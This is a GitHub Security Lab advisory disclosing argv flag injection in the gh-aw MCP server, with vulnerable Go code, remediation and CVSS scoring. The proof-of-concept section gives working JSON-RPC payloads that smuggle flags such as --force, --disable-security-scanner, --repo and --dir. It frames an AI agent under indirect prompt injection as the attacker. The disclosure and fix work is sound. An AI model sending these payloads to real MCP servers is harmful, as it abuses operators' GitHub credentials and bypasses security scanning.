Skip to content

GHSL-2026-180: Argv flag injection from MCP client into spawned `gh aw` subcommands

Critical
pelikhan published GHSA-f7r8-5pqp-q5p4 Oct 14, 2026

Package

No package listed

Affected versions

<v0.91.12

Patched versions

v0.91.12

Description

GitHub Security Lab (GHSL) Vulnerability Report, gh-aw: GHSL-2026-180

The GitHub Security Lab team has identified a potential security vulnerability in gh-aw.

We are committed to working with you to help resolve this issue. In this report you will find everything you need to effectively coordinate a resolution of this issue with the GHSL team.

If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at securitylab@github.com (please include GHSL-2026-180 as a reference). See also this blog post written by GitHub's Advisory Curation team which explains what CVEs and advisories are, why they are important to track vulnerabilities and keep downstream users informed, the CVE assigning process, and how they are used to keep open source software secure.

If you are NOT the correct point of contact for this report, please let us know!

Summary

The gh aw mcp-server MCP tool handlers append client-supplied strings verbatim into the argv of spawned gh aw <subcmd> child processes without a -- separator or leading-- rejection. A less-trusted MCP client can smuggle forbidden flags (e.g. --force, --disable-security-scanner, --create-pull-request, --repo, --approve) into the child cobra process, escaping the MCP sandbox and abusing the operator's gh credentials.

Project

gh-aw

Tested Version

846c520

Details

Argv flag injection from MCP client into spawned gh aw subcommands (GHSL-2026-180)

Each MCP tool handler builds a []string argv, appends MCP-client-supplied string values directly as positional args, and invokes execCmd() (pkg/cli/mcp_server.go:21-28) → exec.CommandContext(<gh-aw>, args...). No handler rejects values starting with -, none inserts a -- separator, and SetInterspersed(false) is never called on any child command, so cobra/pflag parses any --prefixed positional as a flag.

Vulnerable sinks:

cmdArgs := []string{"add"}
// ...
cmdArgs = append(cmdArgs, args.Workflows...) // untrusted []string forwarded verbatim
// ...
cmd := execCmd(ctx, cmdArgs...)

Child flags include --create-pull-request, --force, --disable-security-scanner, --dir (see pkg/cli/add_command.go).

cmdArgs := []string{"update"}
cmdArgs = append(cmdArgs, args.Workflows...)
execCmd(ctx, cmdArgs...)

Child flags include --repo, --create-pull-request, --disable-security-scanner, --dir.

cmdArgs := []string{"fix"}
cmdArgs = append(cmdArgs, args.Workflows...)
execCmd(ctx, cmdArgs...)

Child flags include --dir, --write.

cmdArgs := []string{"compile", "--validate", "--json"}
// ...
cmdArgs = append(cmdArgs, args.Workflows...)
// ...
cmdArgs = append(cmdArgs, "--prior-manifest-file", cached)
execCmd(ctx, cmdArgs...)

Child flags include --approve, --purge, --dir, --trial, --staged.

cmdArgs := []string{"mcp", "inspect"}
cmdArgs = append(cmdArgs, args.WorkflowFile)
execCmd(ctx, cmdArgs...)

Child flags include --inspector, --server, --tool.

cmdArgs := []string{"audit"}
cmdArgs = append(cmdArgs, runItems...)
// hard-coded -o and --json appended after
execCmd(ctx, cmdArgs...)

normalizeAuditRunInput does not reject leading -. When GITHUB_REPOSITORY is unset, --repo can be injected.

cmdArgs := []string{"audit", "diff", args.BaseRunID}
cmdArgs = append(cmdArgs, args.CompareRunIDs...)
execCmd(ctx, cmdArgs...)

Proof of concept

Preconditions: the operator has started gh aw mcp-server (either stdio, e.g. via .github/mcp.json from an AI coding assistant, or HTTP via gh aw mcp-server --port N).

A less-trusted MCP client (e.g., an AI agent under indirect prompt injection) sends a tools/call JSON-RPC frame:

{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "tools/call",
  "params": {
    "name": "add",
    "arguments": {
      "workflows": [
        "--force",
        "--disable-security-scanner",
        "--create-pull-request",
        "attacker-org/malicious/exfil-secrets"
      ]
    }
  }
}

The add handler at pkg/cli/mcp_tools_management.go:57-71 builds argv ["add","--force","--disable-security-scanner","--create-pull-request","attacker-org/malicious/exfil-secrets"] and spawns it. The child gh-aw add cobra command parses the smuggled tokens as flags: opts.Force=true, opts.DisableSecurityScanner=true, opts.CreatePR=true. This installs a workflow that would normally be rejected by workflow.ScanMarkdownSecurity(), then pushes a branch and opens a PR using the operator's authenticated gh token.

Other confirmed variants:

  • compile with {"workflows":["--approve","foo"]} → child parses --approve, disabling the safe-update enforcement anchored by the server-side --prior-manifest-file baseline.
  • update with {"workflows":["--repo","some/other-repo","--create-pull-request","--disable-security-scanner"]} → clones an arbitrary repo, opens a PR with the operator's credentials.
  • fix with {"workflows":["--dir","../some/other/dir","--write"]} → applies codemods and deletes files outside .github/workflows.
  • mcp-inspect with {"workflow_file":"--inspector"} → child launches npx @modelcontextprotocol/inspector on the operator's machine.

The primitive was confirmed by directly invoking the add command's cobra parser with {"workflows":["--dir","/tmp/escape","--force","--disable-security-scanner","payload"]}, which produced force=true disable-security-scanner=true dir="/tmp/escape". Inserting a "--" before the client positionals caused every element to be treated as a literal workflow spec (control).

Impact

A less-trusted MCP client (an AI agent under indirect prompt injection, or any local process able to reach --port N) can enable flags the trust model explicitly forbids: --create-pull-request, --force, --disable-security-scanner, --repo, --dir, --approve, --purge. This allows the client to (a) perform GitHub-side write operations (push branches, open PRs, target arbitrary repos) using the operator's authenticated gh credentials, (b) disable the workflow Markdown security scanner and install workflows that would otherwise be rejected as malicious, (c) bypass the compile-time safe-update manifest baseline the MCP server was specifically designed to enforce (letting the client add new restricted secrets or unapproved third-party actions to .lock.yml), (d) launch helper tools such as the MCP Inspector via npx, and (e) write outside the intended .github/workflows directory via --dir.

Remediation

For every handler that forwards MCP-client-supplied strings into argv, insert a literal "--" separator before the untrusted positional values so cobra/pflag stops flag parsing, AND/OR reject any value beginning with -. For example:

cmdArgs = append(cmdArgs, "--")
cmdArgs = append(cmdArgs, args.Workflows...)

Apply this to:

  • pkg/cli/mcp_tools_management.go L60 (add), L144 (update), L226 (fix)
  • pkg/cli/mcp_tools_readonly.go L209 (compile), L317 (mcp-inspect)
  • pkg/cli/mcp_tools_privileged.go L387 (audit), L528-529 (audit-diff)

Note that inserting -- alone is sufficient only if flags appended by the server come before the -- marker; server-controlled trailing flags (e.g. --prior-manifest-file, -o) must be placed before the -- or the leading-- rejection approach must additionally be used.

CWEs

  • CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')

GitHub Security Advisories

This report was submitted through private vulnerability reporting, so it already exists as a draft repository security advisory on this repository. Accepting it lets you collaborate with the GHSL team in private, add the affected package and version range, request a CVE, and publish once a fix is available.

Credit

This issue was discovered with the GitHub Security Lab Taskflow Agent as part of Project Glasswing, a cross-industry initiative to secure critical open-source software using frontier AI models, and manually verified by @anticomputer (Bas).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2026-180 in any communication regarding this issue.

Disclosure Policy

This report is subject to a 90-day disclosure deadline, as described in more detail in our coordinated disclosure policy.

Patched release

The fix is included in v0.91.12, published on October 14, 2026 (UTC). This release is marked as a pre-release. Upgrade to v0.91.12 or a later release containing this fix.

Fix pull request: #68541. The merged fix commit is confirmed to be an ancestor of the v0.91.12 tag.

CVSS v4.0 severity assessment

CVSS-B 9.2 (Critical)

CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:N

The vulnerable system is the gh-aw MCP execution/workspace environment; subsequent systems are GitHub repositories accessible through the operator credentials. Scoring starts with a low-trust client already able to invoke the local stdio/loopback MCP interface (AV:L, PR:L), not an unauthenticated Internet attacker. Flag injection is deterministic (AC:L, AT:N) and needs no additional human approval after client access (UI:N). Repository/log targeting can expose sensitive data returned through the service (VC:H); scanner/manifest bypass and directory override allow serious unauthorized workspace changes (VI:H), with limited workflow/file availability loss (VA:L). Credential-backed cross-repository reads and branch/workflow writes support SC:H and SI:H. No separate downstream availability loss is assumed (SA:N). Arbitrary host shell execution through the separate inspection vulnerability is not required or counted.

This is a base-metric assessment of the vulnerable version. Threat and environmental metrics are not explicitly assigned; individual deployments may differ. Local/client access is a precondition, and indirect prompt-injection delivery may have different user-interaction requirements. Scoring follows the FIRST CVSS v4.0 specification; CVSS is owned by FIRST and used by permission. The score was calculated locally and cross-checked against GitHub’s native CVSS v4 calculator.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Local
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability Low
Subsequent System Impact Metrics
Confidentiality High
Integrity High
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:N

CVE ID

No known CVE

Weaknesses

Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')

The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string. Learn more on MITRE.